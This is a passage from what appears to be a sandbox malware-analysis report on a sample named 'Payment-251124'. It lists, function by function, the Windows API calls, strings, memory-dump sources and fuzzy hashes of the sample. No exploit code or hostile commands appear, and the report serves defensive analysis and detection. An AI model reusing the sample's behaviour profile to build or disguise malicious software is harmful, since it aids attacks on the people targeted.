                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ColorLongWindow
                                                        • String ID:
                                                        • API String ID: 259745315-0
                                                        • Opcode ID: a8f586ab9633eb9e8d7b8e0a5b51f8d23e834195c91af39bd4b7d36bd96cf895
                                                        • Instruction ID: d73b7f73fb62105968d9ba1f5f288013f800952b6bcdf5534cd2d33f6d1be84e
                                                        • Opcode Fuzzy Hash: a8f586ab9633eb9e8d7b8e0a5b51f8d23e834195c91af39bd4b7d36bd96cf895
                                                        • Instruction Fuzzy Hash: B241D334000144DFDB249F28D889BB93B66EB56734F594262FD759E2E6F7308C42E721
                                                        Function 00F0690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                        • String ID:
                                                        • API String ID: 136442275-0
                                                        • Opcode ID: 82965ec51db11143a3ff4bd8839cffb68bb7153d1b61e6ace789c4cc062b3625
                                                        • Instruction ID: 5c30084e218fb39e6a4e1f2fb31666923c15114759e3ccd953813e1d66c577aa
                                                        • Opcode Fuzzy Hash: 82965ec51db11143a3ff4bd8839cffb68bb7153d1b61e6ace789c4cc062b3625
                                                        • Instruction Fuzzy Hash: 4A412A7684515CAECF61EB90CC45DCBB3BCEB44310F1051E6B649E2081EA74ABE89F50
                                                        Function 00F0D76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CharLowerBuffW.USER32(00F5DC00,00F5DC00,00F5DC00), ref: 00F0D7CE
                                                        • GetDriveTypeW.KERNEL32(?,00F73A70,00000061), ref: 00F0D898
                                                        • _wcscpy.LIBCMT ref: 00F0D8C2
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharDriveLowerType_wcscpy
                                                        • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                        • API String ID: 2820617543-1000479233
                                                        • Opcode ID: a361d7b758f122b28c2eecce5f2ffdc875f4f3a9b1094ec9d0289879596c4272
                                                        • Instruction ID: 233a9d534c0826825b16a1ebe1461709613a9442e5802317a75ccd265b8dde70
                                                        • Opcode Fuzzy Hash: a361d7b758f122b28c2eecce5f2ffdc875f4f3a9b1094ec9d0289879596c4272
                                                        • Instruction Fuzzy Hash: CC51A035504244AFC710EF54C982B6EB7E5EF94314F10982EF99A672E2EB31DD06EA42
                                                        Function 00EC936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __swprintf.LIBCMT ref: 00EC93AB
                                                        • __itow.LIBCMT ref: 00EC93DF
                                                          • Part of subcall function 00EE1557: _xtow@16.LIBCMT ref: 00EE1578
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __itow__swprintf_xtow@16
                                                        • String ID: %.15g$0x%p$False$True
                                                        • API String ID: 1502193981-2263619337
                                                        • Opcode ID: b5f51464b013246f91a0aa6a57e873fb3edd02ef5accb5c1dda45152768ab04d
                                                        • Instruction ID: afed9030ba309b797e0d83ef15d319b18a5615770cb4960b5507852da8589319
                                                        • Opcode Fuzzy Hash: b5f51464b013246f91a0aa6a57e873fb3edd02ef5accb5c1dda45152768ab04d
                                                        • Instruction Fuzzy Hash: 0041E772904204EBDB24DF78DA45FA973E8EF44350F20546FE14AE7282EB72E942DB11
                                                        Function 00F2A1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00F2A259
                                                        • CreateCompatibleDC.GDI32(00000000), ref: 00F2A260
                                                        • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00F2A273
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00F2A27B
                                                        • GetPixel.GDI32(00000000,00000000,00000000), ref: 00F2A286
                                                        • DeleteDC.GDI32(00000000), ref: 00F2A28F
                                                        • GetWindowLongW.USER32(?,000000EC), ref: 00F2A299
                                                        • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00F2A2AD
                                                        • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00F2A2B9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                        • String ID: static
                                                        • API String ID: 2559357485-2160076837
                                                        • Opcode ID: dac8feff02853b34897d45b74b4f424ff5591a05b03bcb0ab3cd47c5040e67c7
                                                        • Instruction ID: 4f85d43b2867d43df098c7e0cbd78dddc4dbb641251397d44383fb7b2beaf3a7
                                                        • Opcode Fuzzy Hash: dac8feff02853b34897d45b74b4f424ff5591a05b03bcb0ab3cd47c5040e67c7
                                                        • Instruction Fuzzy Hash: E7316C31501129EBDF119FA4EC49FEA3B69FF1A360F110215FE19A61E0C735D811EBA5
                                                        Function 00F06F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                        • String ID: 0.0.0.0
                                                        • API String ID: 2620052-3771769585
                                                        • Opcode ID: adb38538f7da4de4487623e6d46b63a59ed8730d6e5936a9ba18309874ff699a
                                                        • Instruction ID: d358c566bd37c607e7e3866a6a4a6b3ed079b2cc21b71fec7831074d6d8d1309
                                                        • Opcode Fuzzy Hash: adb38538f7da4de4487623e6d46b63a59ed8730d6e5936a9ba18309874ff699a
                                                        • Instruction Fuzzy Hash: 8F113632904209ABCB24AB70AC0AEDA77ACEF41721F010069F505E61C0FFB4EE85BB51
                                                        Function 00EE500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00EE5047
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        • __gmtime64_s.LIBCMT ref: 00EE50E0
                                                        • __gmtime64_s.LIBCMT ref: 00EE5116
                                                        • __gmtime64_s.LIBCMT ref: 00EE5133
                                                        • __allrem.LIBCMT ref: 00EE5189
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE51A5
                                                        • __allrem.LIBCMT ref: 00EE51BC
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE51DA
                                                        • __allrem.LIBCMT ref: 00EE51F1
                                                        • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00EE520F
                                                        • __invoke_watson.LIBCMT ref: 00EE5280
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                        • String ID:
                                                        • API String ID: 384356119-0
                                                        • Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                        • Instruction ID: 942534cb5ee01a08b8cdb795ee6ba93e9dd4fea03f63d93dc4a46c24f05590d7
                                                        • Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                        • Instruction Fuzzy Hash: 7E71C473A01F5FABD7149E6ACC41B6AB3F8AF44368F14522AF610F6681E770D9408BD0
                                                        Function 00F04DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F04DF8
                                                        • GetMenuItemInfoW.USER32(00F81708,000000FF,00000000,00000030), ref: 00F04E59
                                                        • SetMenuItemInfoW.USER32(00F81708,00000004,00000000,00000030), ref: 00F04E8F
                                                        • Sleep.KERNEL32(000001F4), ref: 00F04EA1
                                                        • GetMenuItemCount.USER32(?), ref: 00F04EE5
                                                        • GetMenuItemID.USER32(?,00000000), ref: 00F04F01
                                                        • GetMenuItemID.USER32(?,-00000001), ref: 00F04F2B
                                                        • GetMenuItemID.USER32(?,?), ref: 00F04F70
                                                        • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00F04FB6
                                                        • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F04FCA
                                                        • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F04FEB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                        • String ID:
                                                        • API String ID: 4176008265-0
                                                        • Opcode ID: 854d698e8e182b650f3c8fe0d2e8a604d4bcfee455f926aff4aca32f4de36ab3
                                                        • Instruction ID: de21feae00821970fbac65eae4d748c5df30990e698b1994ec0d669b34968b62
                                                        • Opcode Fuzzy Hash: 854d698e8e182b650f3c8fe0d2e8a604d4bcfee455f926aff4aca32f4de36ab3
                                                        • Instruction Fuzzy Hash: 9C619DB5A0024AAFDB20CFA4DC88AAE7BB8FB41315F140159FA51A32D1D770AD45FB20
                                                        Function 00F29C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00F29C98
                                                        • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00F29C9B
                                                        • GetWindowLongW.USER32(?,000000F0), ref: 00F29CBF
                                                        • _memset.LIBCMT ref: 00F29CD0
                                                        • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00F29CE2
                                                        • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00F29D5A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$LongWindow_memset
                                                        • String ID:
                                                        • API String ID: 830647256-0
                                                        • Opcode ID: 20509a5ee14743f37030217449c33cd4c9d95ce92e753f50bc1ec11f17dee9ea
                                                        • Instruction ID: ba9f5d61df39161506e2aacdde34842a1e3def94a5aaa2c6a90714319eece1d3
                                                        • Opcode Fuzzy Hash: 20509a5ee14743f37030217449c33cd4c9d95ce92e753f50bc1ec11f17dee9ea
                                                        • Instruction Fuzzy Hash: 5F618C75A00218AFDB10DFA8DC81EEE77B8EF09714F144159FA44E7291D7B4AD42EB60
                                                        Function 00EF94E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00EF94FE
                                                        • SafeArrayAllocData.OLEAUT32(?), ref: 00EF9549
                                                        • VariantInit.OLEAUT32(?), ref: 00EF955B
                                                        • SafeArrayAccessData.OLEAUT32(?,?), ref: 00EF957B
                                                        • VariantCopy.OLEAUT32(?,?), ref: 00EF95BE
                                                        • SafeArrayUnaccessData.OLEAUT32(?), ref: 00EF95D2
                                                        • VariantClear.OLEAUT32(?), ref: 00EF95E7
                                                        • SafeArrayDestroyData.OLEAUT32(?), ref: 00EF95F4
                                                        • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00EF95FD
                                                        • VariantClear.OLEAUT32(?), ref: 00EF960F
                                                        • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00EF961A
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                        • String ID:
                                                        • API String ID: 2706829360-0
                                                        • Opcode ID: 89bc7025b74df7f449821ea4a36e5b640767d9866c6ff92eeb92fda4c5cfe87e
                                                        • Instruction ID: 1b98c41e0e03f7ff58409272e0a3631442ded0fc09c5de222c5ec8b1124d27e3
                                                        • Opcode Fuzzy Hash: 89bc7025b74df7f449821ea4a36e5b640767d9866c6ff92eeb92fda4c5cfe87e
                                                        • Instruction Fuzzy Hash: 75413E35A0021DAFCB01DFA4D848AEEBBB9FF58354F008065E951F7261DB31EA45DBA0
                                                        Function 00F1ADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 00EC936C: __swprintf.LIBCMT ref: 00EC93AB
                                                          • Part of subcall function 00EC936C: __itow.LIBCMT ref: 00EC93DF
                                                        • CoInitialize.OLE32 ref: 00F1ADF6
                                                        • CoUninitialize.OLE32 ref: 00F1AE01
                                                        • CoCreateInstance.OLE32(?,00000000,00000017,00F4D8FC,?), ref: 00F1AE61
                                                        • IIDFromString.OLE32(?,?), ref: 00F1AED4
                                                        • VariantInit.OLEAUT32(?), ref: 00F1AF6E
                                                        • VariantClear.OLEAUT32(?), ref: 00F1AFCF
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                        • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                        • API String ID: 834269672-1287834457
                                                        • Opcode ID: 18c18e70530e49a3b611cb84d39691aeafe5a8db232f56b06023c75a113c30b9
                                                        • Instruction ID: 47658e5e24e63da02659bdda202c58b8362cc3e5efd9e062337a8022349f289b
                                                        • Opcode Fuzzy Hash: 18c18e70530e49a3b611cb84d39691aeafe5a8db232f56b06023c75a113c30b9
                                                        • Instruction Fuzzy Hash: 1D61AE71609301AFC710DF65C848BAEBBE8AF89714F04441DF9859B292C770ED85EB93
                                                        Function 00F18107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • WSAStartup.WSOCK32(00000101,?), ref: 00F18168
                                                        • inet_addr.WSOCK32(?,?,?), ref: 00F181AD
                                                        • gethostbyname.WSOCK32(?), ref: 00F181B9
                                                        • IcmpCreateFile.IPHLPAPI ref: 00F181C7
                                                        • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00F18237
                                                        • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00F1824D
                                                        • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00F182C2
                                                        • WSACleanup.WSOCK32 ref: 00F182C8
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                        • String ID: Ping
                                                        • API String ID: 1028309954-2246546115
                                                        • Opcode ID: 7252246dfb12f6b12e15f3c1e96e6d33143ecaa3578431c0c7b7b30bb71652e3
                                                        • Instruction ID: 5f97df0de8afd22e7ca3a5dbd7a552cc626689e7b6f34f8aec2b718fd1814751
                                                        • Opcode Fuzzy Hash: 7252246dfb12f6b12e15f3c1e96e6d33143ecaa3578431c0c7b7b30bb71652e3
                                                        • Instruction Fuzzy Hash: 6551B436A04740AFD711DF64CE45B6AB7E4EF45360F044929F955EB2A0DB34EC42EB42
                                                        Function 00F29E43 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 105windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F29E5B
                                                        • CreateMenu.USER32 ref: 00F29E76
                                                        • SetMenu.USER32(?,00000000), ref: 00F29E85
                                                        • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00F29F12
                                                        • IsMenu.USER32(?), ref: 00F29F28
                                                        • CreatePopupMenu.USER32 ref: 00F29F32
                                                        • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F29F63
                                                        • DrawMenuBar.USER32 ref: 00F29F71
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
                                                        • String ID: 0
                                                        • API String ID: 176399719-4108050209
                                                        • Opcode ID: b55cd342bf72e321b97ccf77cb2b9b86a4179ddd0c35aa956148012a2b89ba21
                                                        • Instruction ID: 11ae600bf7c4d9088000aec19089500d019deda2fbb021e2099abb02a9163135
                                                        • Opcode Fuzzy Hash: b55cd342bf72e321b97ccf77cb2b9b86a4179ddd0c35aa956148012a2b89ba21
                                                        • Instruction Fuzzy Hash: 594156B9A00219AFDB10DFA4E944BEABBB5FF59314F144128FD45A7360D770A910EF50
                                                        Function 00F0E389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetErrorMode.KERNEL32(00000001), ref: 00F0E396
                                                        • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00F0E40C
                                                        • GetLastError.KERNEL32 ref: 00F0E416
                                                        • SetErrorMode.KERNEL32(00000000,READY), ref: 00F0E483
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Error$Mode$DiskFreeLastSpace
                                                        • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                        • API String ID: 4194297153-14809454
                                                        • Opcode ID: b93ad4e8ee645185aa9ce868f28b8c8f0d5674b61eaa4affb9d3b514d3622450
                                                        • Instruction ID: de0edc1071390c3dcbaec48bc12d5305dbad0db79b2d217cd73036085c297af5
                                                        • Opcode Fuzzy Hash: b93ad4e8ee645185aa9ce868f28b8c8f0d5674b61eaa4affb9d3b514d3622450
                                                        • Instruction Fuzzy Hash: 6331823EA00209ABDB01DF64C945FADB7F4EF54314F14841AE505A72D1DB719A02F752
                                                        Function 00EFB907 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00EFB98C
                                                        • GetDlgCtrlID.USER32 ref: 00EFB997
                                                        • GetParent.USER32 ref: 00EFB9B3
                                                        • SendMessageW.USER32(00000000,?,00000111,?), ref: 00EFB9B6
                                                        • GetDlgCtrlID.USER32(?), ref: 00EFB9BF
                                                        • GetParent.USER32(?), ref: 00EFB9DB
                                                        • SendMessageW.USER32(00000000,?,?,00000111), ref: 00EFB9DE
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
